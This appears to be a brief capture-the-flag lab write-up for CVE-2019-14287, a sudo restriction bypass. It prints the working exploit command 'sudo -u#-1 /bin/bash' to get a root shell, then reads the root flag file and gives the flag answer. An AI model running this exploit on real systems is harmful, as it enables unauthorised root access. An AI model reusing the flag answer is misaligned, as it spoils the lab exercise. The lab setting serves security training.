CVE-2019-14287 (Sudo Bypass)

machine IP:

10.10.72.127

Identify:

!root lets us do it

This line lets you run a command as root:

sudo -u#-1 <command>

sudo -u#-1 /bin/bash

cat /root/root.txt

flag:

THM{l33t_s3cur1ty_bypass}